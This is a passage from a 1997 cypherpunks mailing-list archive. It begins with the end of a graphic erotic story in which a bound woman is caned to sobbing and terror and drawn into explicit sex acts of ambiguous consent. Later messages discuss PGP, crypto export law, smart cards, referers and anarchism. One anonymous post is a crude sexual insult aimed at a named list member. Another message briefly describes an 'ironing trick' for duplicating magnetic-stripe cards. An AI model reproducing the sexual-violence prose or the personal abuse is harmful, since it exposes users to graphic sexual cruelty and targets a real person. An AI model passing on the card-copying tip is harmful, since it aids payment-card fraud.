through the woods which compose most of our lot, 200 yards with a
flickering torch playing its narrow yellow beam on your pale nakedness, to
the path that runs by the river. We'd walk along that to a secluded glade
400 yards away. There is plenty of light from the urban lights reflected
from the clouds, and enough wind in the trees to swallow noises. Along the
way you would select a suitable willow from a fresh stand. Strip it with my
pocket knife. Test it for sound and flexibility. Pronouce it ideal. We
walk, I test it. I watch your nervous walk. Your bottom has a mind of its
own. Here we are. A fallen trunk, stripped bare of bark, a fitting match
for you. Tied to it. Along it. A long strap round the trunk and your waist.
Wrists bound above your head, along the trunk. Legs slightly apart, either
side of the trunk, tied to pegs already hammered in the ground. Bottom
pristine, pouch dampening, what a sight, what a precious moment of truth:
for you - the audacious submission of your body; - for me the enjoyment of
the fragile perfection of its contours. There is no hurry. The Lady is for
caning. Hard and slowly. Perhaps even harder, and even more slowly. But not
yet. I want to see you moving from the sheer thought of it. Of what is
coming. For long minutes I caress your torso, stroking with the cane.
Trailing the tip along the backbone. Teasing the cleft of your bottom,
between your legs, the insides of your thighs. .... Another time you will
strapped down on your back, with your legs wide, wide apart. Those adorable
inner thighs. Buts that to be another time, another time ... another place.
Back to work. I must touch you with my fingers. My finger indents the line
of a cane print across that round offering. Its drying. I rewet it. That is
where the first one will come. I whisper that. A conspiratorial whisper. A
secret between you and me. Perhaps you will be able to remember that. A
memorable place. The crease. Where lovers spank hardest lest lovers forget
the hardness of their love. You'll remember five in the crease. Each time
you sit. I mention this, another secret. In the next few days the heat will
get to you. The heat of the climate, the heat of the cane. You'll want to
sit and drink in the air conditioning. A short skimpy dress. No pants, no
bra. Proud nipples, stiff in the cool air. A blazing seat on cool vinyl
seats. Every move an echo of agony. I'm getting to you for I see you
squirming. Its a rhythm I recognize. The way the buttocks move. The
undulation. Someone is feeling sexy. Yes, my fingers wet. Smear it along
the crease. Remember the crease? Whats coming there? I ask you. You do
remember, I can see that. Good, good. Your memory was something that needed
working on. You didn't say as much, but I could see. And your aversion to
cock-sucking was another. But lets not get distracted. I can see you still
remember about the crease. It seems to interest you. Time to reinforce the
learning. No time like the present.
ONE....FIVE. All in the crease. Just one mark. That waist strap works well,
your waist is tight, your bottom mobile, very mobile and perfectly
tempting. And now ..... TEN ... FIFTEEN ... TWENTY ....and so on. Hard,
very hard. The wind carries the noises, various away (or are you better
trained now?) Well-spaced in time so the pain can build to a crescendo. And
you'll like the pattern, all over your bottom. Quite fussy about that
aren't you? You won't know the final count. You never do, do you? Not
unless I tell you. Quite right. I'd be at fault if you did. You're sobbing
just a little. Come, its over, sweet cane lover. I kiss the crests of your
printed cheeks and untie you. A pained walk, my arm round your bare waist.
Our other hands clasped tightly. Just a long minute along the crunchy path
I turn us about, pivoting on my left leg. I can feel you quivering with
real terror, quivering with the horror of anticipation as I walk you back
to that trunk. Astride it again. Tied just as tightly. This time your arms
down, tied underneath the trunk. Posterior blazing. Now it is about to
explode. I stroke the curves with the cane. Ripples of fire shiver that
taut derri=E8re. Do you remember the crease? Don't worry I shall remind you.
Splash. Some cooling water. And now, time for ignition. You know exactly
where. You haven't forgotten. ONE. A very satisfying shriek. AM I hard. I
walk round and show it to you. You don't like to suck cocks I remember. I
shouldn't dream of forcing you. I'm not like that. TWO. Ohhhh, the obvious
agony. Your pussy is wet, I can see the glistening outer folds. Your cheeks
are very splayed, it shows prettily, but those cheeks are full enough to
protect it. I get behind you and just touch the sopping lips with myself,
rubbing along the slot. My tip, the bulging hood, is soaking. I get off and
go round to show you. I know you're distracted. I tell you it is your own
juice. I think you know, but you ARE very distracted, eyes wet, your chest
heaving as well as it can against the old bare log. It must be rough on
those delicious B-cup globes I adore. A little squashed and aching I
imagine. Reminder time. THREE in the crease. And to be sure you remember,
=46OUR. I dip my chip again at leisure, a little deeper, and show it you
again. I AM very thoughtful. I believe I saw a flicker of interest.
Academic of course for you don't suck cocks. Your dip on my stick. The
things people do. But back to basics. You ARE such a purist - restraint, a
bare bottom, a hand-picked rattling cane, and the decisions left to me.
Back again to pain of the cane. FIVE. Your posterial agility in restraint
is amazing. The rising wind swallows your high pitched comments and cools
your bottom. SIX. Another very deep dip, and my you are hot inside. And
wet. I display it to you again. This time so close you could ... my
goodness you do!!! And I thought you didn't like ....? I love it of course,
and I soon show you I do. Ahh, that surprised you a little. If you are
nauseated it doesn't show. BUT I'm almost forgetting, I'd hate you to think
I was too distracted to provide your needs, SO, now thats over, back to
basics. SEVERAL MORE, slowly and frightenly crisp, because the Lady, what a
lady, IS for caning.
The cane lover is untied again. The long slow wobbly walk home, wet-eyed
and sobbing.  I'm tempted to take you back again, but I don't. Once more my
arm round your bare waist. Our other hands clasped tightly. For all the
world two lovers. One nude, very well-caned and weeping. A cyclist passes
in the gloom. A little surprised at your nudity I shouldn't wonder, but
she's past us so fast she'll just think we've fallen out. Up the slope. I
light your way flashing the torch up between your legs. We both know I'm
looking at your prints. Into the house. Onto the bed. Face down. Stiff
bolster under your hips. Ankles tied to a spread bar. Just to be sure. Your
worn leather sandals will do to re-chauff=E9e the cheeks. They may have
cooled down a little during the walk back. A few dozen really quickly while
I hold you hands together behind your back. First one cheek. Then the
other. Some final friendly ones across the crest. Squeals and more tears.
I expect you'll stay that way when I've untied your ankles! And now,
finally, my rod and comforter. Doesn't that feel good. All night long. My,
my, you aren't at all modest, are you, when you've taken? YOU'LL DO
ANYTHING! I do like that.




--========================_19208278==_
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--========================_19208278==_--





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Sun, 18 May 1997 09:28:26 +0800
To: cypherpunks@toad.com
Subject: [ADMINISTRATIVIUM] Zero-knowledge interactive proofs
Message-ID: <199705180033.RAA26968@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain


Tim Mayflower's 16Kb brain's single convolution is directly wired to his 
rectum for input and his T1 mouth for output. That's 16K bits, not bytes. 
Anal intercourse has caused extensive brain damage.

        \|||/
        (o o)
    -ooO-(_)-Ooo- Tim Mayflower





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sun, 18 May 1997 09:32:55 +0800
To: Alan Olsen <cypherpunks@algebra.com
Subject: Re: PGP 5.0 beta is out at PGP.com
In-Reply-To: <3.0.2.32.19970517113906.03d96c30@mail.teleport.com>
Message-ID: <v03007801afa415f61c4a@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 10:39 AM -0800 5/17/97, Alan Olsen wrote:
>-----BEGIN PGP SIGNED MESSAGE-----
>
>The pgp 5.0 beta is out. It is for Win95/NT 4.0 only.  PGPKeys.exe pukes its
>guts out when run.  (At least on my machine.)
>
>It looks like they have hired a new graphics artist.  The splash page looks
>interesting.  Nice if the rest would run...

More than that, did they decide to release the source code?

Last I heard, the answer was "of course not!!!!"

Why it is important that source code be released is left as an exercise.

If it isn't released....


--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Greg Broiles <gbroiles@netbox.com>
Date: Sun, 18 May 1997 09:51:30 +0800
To: Yoav Yerushalmi <yoav@MIT.EDU>
Subject: Re: Distributing cryptographic code
In-Reply-To: <9705161836.AA28876@angreal.MIT.EDU>
Message-ID: <3.0.1.32.19970517183655.00867d60@mail.io.com>
MIME-Version: 1.0
Content-Type: text/plain



This thread was booted from coderpunks, perhaps the interested parties will
continue it here. 

At 02:36 PM 5/16/97 EDT, Yoav Yerushalmi wrote:
[...]
>  I'm part of a research group here at MIT, and several groups here
>have written implementations of concepts and protocols that involve
>cryptography in one way or another (encryption/signing/voting, etc).
>
>  We would like to put this code up for distribution (within the US
>of course), but don't actually know what is a 'reasonable' amount of
>protection that one need apply to prevent people from exporting
>it to the rest of the world.

If I were you, I'd talk to the other folks at MIT distributing strong
crypto code, they've certainly had to think about/work on this problem.
Might as well ride on their coattails. 

Having said that, you might take a look at 15 CFR 734.2(b)(9)(ii) if you're
really feeling masochistic, which says that making software available via
the Internet such that it is available for transfer outside of the United
States is an export unless the person making the software available takes
certain precautions. The precautions are:

>>>>
    (A) Ensuring that the facility from which the software is available 
controls the access to and transfers of such software through such measures
as:
    (1) The access control system, either through automated means or 
human intervention, checks the address of every system requesting or 
receiving a transfer and verifies that such systems are located within 
the United States;
    (2) The access control system, provides every requesting or 
receiving party with notice that the transfer includes or would include 
cryptographic software subject to export controls under the Export 
Administration Act, and that anyone receiving such a transfer cannot 
export the software without a license; and
    (3) Every party requesting or receiving a transfer of such software 
must acknowledge affirmatively that he or she understands that the 
cryptographic software is subject to export controls under the Export 
Administration Act and that anyone receiving the transfer cannot export 
the software without a license; or
    (B) Taking other precautions, approved in writing by the Bureau of 
Export Administration, to prevent transfer of such software outside the 
U.S. without a license.
<<<<

The software publishers I'm familiar with who make strong crypto available
via the Internet in a commercial setting (Microsoft, Netscape, C2Net) do
reverse-DNS lookups on the requester to try to figure out whether or not
they're inside the United States. 

This is *not* an "official" answer, nor is it legal advice. The regulations
discussed above have been public for less than five months. I've spoken
with several attorneys who specialize in export control and they've all
commented that the regs were drafted quickly, without good attention to
detail, and are not necessarily models of clarity or precision. Nobody's
100% sure what they mean. 

Also, one person commented within the coderpunks thread:
>>>>
A disclaimer would be adeqate protection if I remember correctly.
I don`t recall what the situation is in the US, is it the case that
the provider of the information is guilty of export, or the person
that actually downloads it, if it is available via anonymous FTP???
<<<<

A disclaimer is not good enough. Both are potentially liable under US law
(modulo arguments about constitutionality, vagueness, etc). The downloader
is guilty of an illegal export, and the person who made the software
available is (using the definition in 15 CFR 734.2) guilty of an export,
and also has potential liability for conspiracy and/or aiding and abetting,
depending on the facts of the particular case. 

But a clerk in Egghead who sells a copy of 128-bit Netscape to a "foreign
person" is also guilty of an export violation. The interesting question is
whether or not the feds will choose to prosecute violators .. and which
ones. Internet crypto distribution sites have a much higher profile than
random minimum-wage clerks who wouldn't have violated the law if they'd had
any clue it existed. 


--
Greg Broiles                | US crypto export control policy in a nutshell:
gbroiles@netbox.com         | 
http://www.io.com/~gbroiles | Export jobs, not crypto.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan <alano@teleport.com>
Date: Sun, 18 May 1997 10:13:29 +0800
To: Adam Shostack <adam@homeport.org>
Subject: Re: CC fingerprints
In-Reply-To: <199705171835.OAA23077@homeport.org>
Message-ID: <Pine.GSO.3.96.970517184723.19224A-100000@linda.teleport.com>
MIME-Version: 1.0
Content-Type: text/plain


On Sat, 17 May 1997, Adam Shostack wrote:

> harka@nycmetro.com wrote:
> 
> | Their solution, called the Magneprint system, reads the millions of tiny
> | magnetic particles, which are unique on each card, says Professor Ronald
> | Indeck.
> | Each magnetic stripe on the card has two important areas. The first looks
> | like a bar code, which contains the account number. The rest is a random
> | pattern of magnetic information -- a signature that is different on every
> | card and impossible to duplicate, Indeck says.
> 
> 	"Impossible to duplicate."  Perhaps he has never heard of the
> ironing trick?  (You use an iron to heat one card in the proximity of
> the other.  This breaks up the cohesion of the particles on the card
> close to the iron.  The magnetic field in the other card causes the
> particles to realign themselves as they cool.)

I am currious how there new system responds to wear and tear on the card.
If it is as sensitive as they claim, I bet carrying the card around in
your pocket will bang the card up enough to make it show up as a
duplicate.

Sounds like an eventual article for Risks...






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Date: Sun, 18 May 1997 10:24:34 +0800
To: Huge Cajones Remailer <nobody@huge.cajones.com>
Subject: Re: [ADMINISTRATIVIUM] Zero-knowledge interactive proofs
In-Reply-To: <199705180033.RAA26968@fat.doobie.com>
Message-ID: <Pine.A41.3.95.970517200509.28140A-100000@fn2.freenet.edmonton.ab.ca>
MIME-Version: 1.0
Content-Type: text/plain



Please can you stop this spam from your site.

On Sat, 17 May 1997, Huge Cajones Remailer wrote:

> Tim Mayflower's 16Kb brain's single convolution is directly wired to his 
> rectum for input and his T1 mouth for output. That's 16K bits, not bytes. 
> Anal intercourse has caused extensive brain damage.
> 
>         \|||/
>         (o o)
>     -ooO-(_)-Ooo- Tim Mayflower
> 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Moderator of alt.2600.moderated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email : real@freenet.edmonton.ab.ca : ab756@freenet.toronto.on.ca
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: cpunks@algebra.com
Date: Sun, 18 May 1997 09:35:21 +0800
To: cypherpunks@manifold.algebra.com
Subject: [Fwd: ITAR / S 1726 / Civil Disobedience] (fwd)
Message-ID: <199705180121.UAA24753@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


----- Forwarded message from Toto -----

>From cpunks@manifold.algebra.com  Fri May 16 06:20:38 1997
Message-ID: <337C3D50.1B50@sk.sympatico.ca>
Date: Fri, 16 May 1997 04:56:16 -0600
From: Toto <toto@sk.sympatico.ca>
Reply-To: toto@sk.sympatico.ca
Organization: TOTO Enterprises
X-Mailer: Mozilla 3.01C-SYMPA  (Win95; U)
MIME-Version: 1.0
To: gomez@BASISinc.com
Subject: [Fwd: ITAR / S 1726 / Civil Disobedience]
Content-Type: multipart/mixed; boundary="------------62391A621C0B"
Sender: owner-cypherpunks@toad.com
Precedence: bulk

This is a multi-part message in MIME format.

--------------62391A621C0B
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

-- 
Toto
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/
"WebWorld & the Mythical Circle of Eunuchs"
http://bureau42.base.org/public/webworld
"The Final Frontier"
http://www3.sk.sympatico.ca/carljohn/

--------------62391A621C0B
Content-Type: message/rfc822
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

Received: from online.offshore.com.ai (online.offshore.com.ai [206.48.59.106]) by orion.sk.sympatico.ca with ESMTP (8.7.5/8.7.3) id DAA18333 for <toto@sk.sympatico.ca>; Fri, 16 May 1997 03:31:04 -0600 (CST)
Received: (from httpd@localhost)
	by online.offshore.com.ai (8.8.5/8.8.5) id FAA02624;
	Fri, 16 May 1997 05:42:14 -0400
Message-Id: <199705160942.FAA02624@online.offshore.com.ai>
X-Authentication-Warning: online.offshore.com.ai: httpd set sender to toto@sk.sympatico.ca using -f
From: "C.J. Parker" <toto@sk.sympatico.ca>
To: president@whitehouse.gov, toto@sk.sympatico.ca
Date: Fri May 16  5:42:13 1997
Subject: ITAR / S 1726 / Civil Disobedience


Dear Mr. President,

   I am writing to express my disapproval of the Clinton Administration's
position on the ITAR restrictions for encryption software.  This is an
important issue to me.

  1) Software is writing, so it is protected by the first amendment, 
     so the ITAR is unconstitutional.  The idea that only paper books
     are first amendment protected, and electronic books are not, is just 
     plain wrong.

  2) The ITAR does not help National Security, but in fact greatly reduces 
     our nations security because the Internet, and the computers and 
     information connected to it, are kept from using good Encryption.  

  3) I feel that encryption is very important for doing commerce on the 
     Internet, and that commerce on the Internet is important for our 
     economy (Internet is the fastest growing sizable segment).  You say 
     you like the "Information Super Highway" and you are "going to focus 
     on the economy like a laser".  You should be removing the ITAR 
     restrictions on American businesses.  Otherwise the business for 
     commerce software will go to companies in other countries.

  4) The Clinton Clipper III proposal to have government key escrow 
     is not acceptable.  Also, it will never work, since people will 
     always be able to buy and use software from the rest of the world.  
     This proposal is just slowing down Internet progress.  Please
     cancel Clipper III.

  5) Please support Senator Burns Pro-CODE bill S 1726 that would end 
     this foolishness.  

     Or better yet, just take software off the list of "munitions".
     The current law, (see http://www.law.cornell.edu/uscode/22/2778.html),
     says that "The President shall periodically review the items on 
     the United States Munitions List to determine what items, if any, 
     no longer warrant export controls under this section.  The results 
     of such reviews shall be reported to the Speaker of the House [...] 
     at least 30 days before any item is removed from the Munitions 
     List [...]."  

  5) As an act of civil disobedience I have personally exported an 
     encryption program (it is 3 lines of writing) using the web page at 
     http://online.offshore.com.ai/arms-trafficker/

Yours sincerely,


     C.J. Parker
     toto@sk.sympatico.ca

Sent from host lohner20.sk.sympatico.ca with IP 142.165.98.20 


--------------62391A621C0B--


----- End of forwarded message from Toto -----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Sun, 18 May 1997 09:57:03 +0800
To: cypherpunks@toad.com
Subject: MULTOS announcement from MasterCard --- FYI
Message-ID: <v03020907afa4080cd740@[139.167.130.246]>
MIME-Version: 1.0
Content-Type: text/plain



--- begin forwarded text


From: davidk@air.com
X-Sender: saguaro@pop.tiac.net (Unverified)
Date: Sat, 17 May 1997 16:56:13 -0400
To: Robert Hettinga <rah@shipwright.com>
Subject: MULTOS announcement from MasterCard --- FYI
Mime-Version: 1.0

 MasterCard launches global smart card  platform
Date:    97-05-15 16:38:28 EDT
From:    AOL News

    NEW YORK--(BUSINESS WIRE)--May 15, 1997--

      Platform provides MasterCard member financial institutions with
          complete solution in migrating to chip-based payment products
          MasterCard International today became the first payments brand to
begin implementing a complete solution for making the widespread use
of smart cards a marketplace reality by the new millennium.
          By embracing a new open-platform technology called MULTOS as its
smart card operating platform, MasterCard member banks will now have
access to an unprecedented technology that will enable a single smart
card to support a number of different products, securely and
independently.
          The MULTOS (multi-application operating system) technology, which
was announced today by eight of the leading silicon manufacturers and
smart card companies from the United States, Europe, Asia and
Australia uses the proven Mondex security architecture which allows
applications to be dynamically and securely loaded onto a smart card.
With MULTOS, not only can members load applications when the card is
issued, but cardholders will be able to load or change applications
after the card has been issued by going on-line to the card issuer,
via telephone, the ATM or across the Internet.  This allows
applications and security upgrades to be introduced without reissuing
cards, and for cardholders to "customize" their card with the
applications they choose.
          Paired with the MULTOS technology is a MasterCard migration plan
that gives financial institutions around the world the flexibility to
enter into the smart card arena when it's right for their markets and
their businesses.  Together, MULTOS and the MasterCard migration plan
support a wide range of implementation schemes -- from the most
comprehensive to the most modest -- ensuring that member banks can
bring smart cards to market in a way that is useful for the
cardholder and profitable for the bank.
          "The business case for smart cards varies among markets and
countries, and so the key to a successful migration from magnetic
stripe cards to smart cards is flexibility," said MasterCard
President and CEO Robert W. Selander.  "In our migration strategy we
have a flexible approach that lets every member move to smart cards
at a time and pace that is best for their business.  And in MULTOS we
have a superior technology that is `future-friendly.' MULTOS will
enable our members to embrace smart card technology, and at the same
time, give them the confidence that today's investment will not be
obsolete tomorrow.  By incorporating MULTOS technology into our smart
card migration strategy, we are offering our members the only
complete smart card solution available today," he said.
          "As an open-technology platform, we support the flexibility
MULTOS offers, and realize that by investing in MULTOS, we are
investing in the future of the industry," said Dudley Nigg,
executive vice president, Online Financial Services for Wells Fargo
Bank.  "It also enables us to truly differentiate ourselves by the
types of services we provide our cardholders."
          G. Henry Mundt III, MasterCard executive vice president, Global
Deposit Access, said the MULTOS technology offers distinct benefits
to members that other operating systems cannot.  "Unlike other chip
delivery platforms in the marketplace today, MULTOS provides our
members with multiple sources of interoperable cards - eliminating
any risk associated with being locked into a single silicon supplier
or card manufacturer."
          Mundt, who oversees MasterCard's smart card business, also
explained how members can use MULTOS to differentiate their services
to their cardholders.  "What a MULTOS-based card becomes to the
cardholder is a lifestyle card, allowing the consumer to include the
standard applications of credit and debit, along with other
personally selected applications such as Mondex electronic cash, an
airline loyalty program and a transit pass.  The ability for our
members to meet their cardholders' changing needs by adding or
deleting card applications that can be tailored in real time, through
the telephone, an ATM or across the Internet, is bringing the future
of money to life for the consumer, now,"  he added.
          MasterCard's global smart card strategy incorporates the
following features and deliverables:

--  A set of product specifications and associated applications,
which will include MasterCard credit and debit, and Mondex electronic
cash, that can be combined with member proprietary programs.
Specifications will be available in the third quarter of this year,
and applications will be available in the first quarter of 1998.  The
MULTOS API (application program interface) specifications will be
available in the third quarter of 1997.
      --  The most advanced open-technology platform, introduced on a
non-proprietary "open systems"  basis to enable it to be used as a
standard across various industries interested in using smart cards,
such as finance, retail, travel and telecommunications.  MULTOS
technology will enable a single smart card to support a number of
different products, securely and independently.  MULTOS applications
will need to be written only once and are compatible with any MULTOS
card, regardless of which company has manufactured the card or which
silicon chip is used.  Applications on the card are kept totally
separate and independent by highly secure "firewalls."
      --  A support infrastructure to ensure global acceptance of smart
cards.  Revised rules and operating procedures for MasterCard members
will be available later this year.
      --  A range of application development tools and protocols will be
provided in the third quarter 1997, to enable application developers
to produce products for MULTOS.
      --  Compliance with industry standards: MULTOS is entirely compatible
with the EMV '96 standards related to integrated circuit cards for
payment systems created by Europay, MasterCard and Visa.  MasterCard
credit and debit products implemented on MULTOS for the first quarter
1998 will be fully EMV compliant.
          "MULTOS allows MasterCard and Mondex members to combine, for
example, the Mondex purse with their own products and services on a
single card - while being assured that the security and integrity of
each product or application is guaranteed by the firewalls that are a
unique feature of MULTOS," said Mondex President Michael Keegan.
"This is a great step forward for the financial services industry.
This means that, for the first time, card issuers can use the
security, reliability and flexibility of the smart card to deliver a
range of products and services to their customers - securely and
economically, allowing the consumer to carry fewer, more useful
cards."
          MasterCard International, a payments company with one of the
world's most recognized brands, is dedicated to helping more than
23,000 financial institutions around the world offer consumers a
variety of payment options.  MasterCard remains focused on helping
shape the future of money by expanding acceptance of its global
brands (MasterCard(R), Maestro(R) and Cirrus(R), the world's largest ATM
network; MasterCard also owns 51 per cent of electronic cash leader
Mondex International) and maintaining reliable, secure networks
facilitating global value exchange.  MasterCard has 400 million
credit and debit cards that are accepted at more than 13 million
acceptance locations worldwide.  In 1996, gross dollar volume
generated exceeded $550 billion.  MasterCard can be reached through
its World Wide Web site at http://www.mastercard.com .
-0-
Note: On Thursday, May 15 at 9 a.m. EST, MasterCard's long-term
chip card strategy and the MULTOS technology will be announced during
a teleconference call.  Participants can join the call by dialing
800-553-0272 in the U.S. and 612- 332-0523 outside the U.S.
MasterCard Launches Global Smart Card Platform May 15, 1997
      CONTACT:
      MasterCard International
      Marianne Fulgenzi, 914/249-5443
      Julie Jacobs, Shandwick, 212/309-0620

--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rich Graves <llurch@networking.stanford.edu>
Date: Sun, 18 May 1997 14:59:30 +0800
To: cypherpunks@toad.com
Subject: referers and W3 (fwd)
Message-ID: <Pine.GUL.3.95.970512081613.25461B-100000@Networking.Stanford.EDU>
MIME-Version: 1.0
Content-Type: text/plain


A friend who webmasters a large site that is implementing referer-specific
content sent me this when I mentioned the cpunks/cryptography thread of a
few months back. I basically agree with the W3C. While user education on the
potential privacy threat is essential, I do not believe that Netscape should
violate published technical standards. There are also privacy and property
issues from the server's perspective.

---------- Forwarded message ----------
Subject: referers and W3

The following text was added to W3's page on HTML on May 8.  If nobody 
else has noticed this, you might wish to share it with the cypherpunks, I 
don't know.

   HTML, Hypertext Links and Referer URLs
   
   In a vacuum, semantically neutral technology attracts meaning. If
   neutral technology is useful, commerce -- abhorring a vacuum --
   uses technology in often-unforeseen ways to build new markets.
   Over the past year we have seen attempts to create meaning for
   HTML references where none existed before. Links have been argued
   to mean revenue streams, approval, a source of liability,
   endorsement, and ownership.
   
   The Web depends on hypertext links between resources. Links can
   act as references, or to embed material, both of which are
   concepts that have been around for a long long time. Whats new
   with the Web is the ability to follow links quickly.
   
   When a user clicks on a link, the URL of the page containing the
   link is passed to the server along with the requested URL. This
   gives Web sites the opportunity to customize the response
   according to the page the user clicked on.
   
   If someone jumps into a Web site without entering via the home
   page, a content provider may choose to turn them away or to
   redirect them to the home page. A smarter Web site could use
   partial string matches on the Referer and Requested URLs to
   customize the page it returns.
   
   One reason for doing this is to ensure visitors see the banner ads
   and promotions, a site is using to create revenue; another is to
   avoid broken links when people (or indexing engines) bookmark
   transitory Web pages.
   
   The Referer URL can also be used to determine how to honor
   requests for images or applets. For instance, you might decide to
   only provide images to sites which have signed a license agreement
   with you.

http://www.w3.org/pub/WWW/MarkUp/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rich Graves <llurch@networking.stanford.edu>
Date: Sun, 18 May 1997 16:49:39 +0800
To: cypherpunks@cyberpass.net
Subject: Re: dhp.com is blocked by CyberSitter
Message-ID: <Pine.GUL.3.95.970518012233.9969D-100000@Networking.Stanford.EDU>
MIME-Version: 1.0
Content-Type: text/plain


Um...

Who worth talking to isn't?

I have repeatedly requested that they block comp.os.ms-windows.announce and
stanford.edu because we allow content they might find objectionable, but
Milburn has REFUSED to do so. "We don't block sites just because some guy
say so." He's bouncing all subsequent requet from me to block my own web
site to my postmaster, i.e., me.

I still think a counter-blocking approach is appropriate. If you run a
popular web site, make it inaccessible to CyberSitter users. It's easy:

 <META NAME="Voluntary Content Rating" CONTENT="adult">

CyberSitter is the only program that understands "the VCR standard."

-rich
 http://www.stanford.edu/~llurch/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@hidden.net (Anonymous)
Date: Sun, 18 May 1997 18:40:25 +0800
To: cypherpunks@algebra.com
Subject: Re: PGP 5.0 beta is out at PGP.com
Message-ID: <199705181020.DAA18483@jefferson.hidden.net>
MIME-Version: 1.0
Content-Type: text/plain


Tim May wrote:
> 
> More than that, did they decide to release the source code?
> Last I heard, the answer was "of course not!!!!"

I recently heard from a PGP employee that they plan to release ALL
source code, including non-crypto code.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Illuminati Primus <vermont@gate.net>
Date: Sun, 18 May 1997 17:53:04 +0800
To: Alan <alano@teleport.com>
Subject: Re: Another Bell related raid
In-Reply-To: <Pine.GSO.3.96.970516100122.11413C-100000@linda.teleport.com>
Message-ID: <Pine.A32.3.93.970518052759.22564G-100000@inca.gate.net>
MIME-Version: 1.0
Content-Type: text/plain



On Fri, 16 May 1997, Alan wrote:

> A team of federal agents, led by IRS internal security personnel, raided a
> home at 711 W. 20th St. Thursday morning.

The white cells rush in to disinfect the gangreen.  They should learn to
be less obvious (or start polluting our water with more lead so we dont
notice things like these).  Once genetic engineering is perfected they
will no longer have to worry about strong-willed citizen units anymore.
Too much testosterone will be against the law

Ignorance is Strength





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: 22232323@earthlink.net
Date: Sun, 18 May 1997 22:58:27 +0800
To: cypherpunks@toad.com
Subject: Free Subscription
Message-ID: <199705181423.HAA09752@mail-gw.pacbell.net>
MIME-Version: 1.0
Content-Type: text/plain




Please don't hit reply, send all inquiries to 
a7@mary-world.com

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Sun, 18 May 1997 23:00:21 +0800
To: cypherpunks@toad.com
Subject: Anarchy, society, government
In-Reply-To: <19970514112959.12839@bywater.songbird.com>
Message-ID: <19970518073639.23281@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain


On Thu, May 15, 1997 at 09:10:39PM -0700, Bill Stewart wrote:
> >> > That's not *my* definition, it's *the* definition, as described in a
> >> > standard, reputable dictionary.  I realize that you have your own 
> >> > private definition of the term, that you share with your friends and 
> >> > an esoteric community.  
> 
> Sigh.  Calling something "*the* definition" of anarchy, when it's not
> the definition anarchists use, doesn't cut it.  I realize that 
> statists have convinced lots of people that "anarchy" means
> "a bunch of bomb-throwing terrorists are going to run down the street
> and kill your mama", but that's because they want to be in charge -
> or at least have SOMEBODY be in charge, since they don't trust people
> to act civilized without rulers who'll kill them if they don't behave. 
> 
> Whether you think anarchism *will* lead to bomb-throwing terrorists,
> or in general whether it's a good or bad idea, is a separate argument.
> But anarchists _ought_ to own the definition.

I don't think so.  The fact is, of course, there are many definitions
for the word.  The definition I used might be called the "literary"
meaning, like the "anarchist" in the Conrad novel that always carries
a bomb.  It is a perfectly legitimate meaning, more common than the
specialist meanings.  But, having apparently stired up a hornets nest 
with a gentle tweak, I'll say no more about it, and be more careful 
around the hornets.

[...]
> One of your more interesting comments was on whether you can separate
> the concepts of society and government - a fairly common view of 
> government is that it needs to have a monopoly on the use of force to
> preserve order, and therefore needs to have tax funding to exist,
> and since you've got it around anyway you might as well use it for
> things that are easiest to do in a centralized manner, and to do
> things that require either social cooperation or lots of money;
> a society like that will find government intertwined in its civil affairs,
> and people will get out of the habit of organizing their own actions
> without using government as a focus.  Other societies have used 
> religious organizations to perform many of the same social functions -
> if everybody's getting together weekly anyway, might as well talk about
> the problems that have been going on, and raise the money needed to
> feed the poor and patch the meetinghouse roof.  And other societies
> have just done these things on a more individual basis, especially
> in sparsely populated areas where there aren't outside invaders.
> Of course, now that governments have taken over most of the world,
> it's hard to find a place without outside invaders...
> 
> But people are still going to teach their kids what they need,
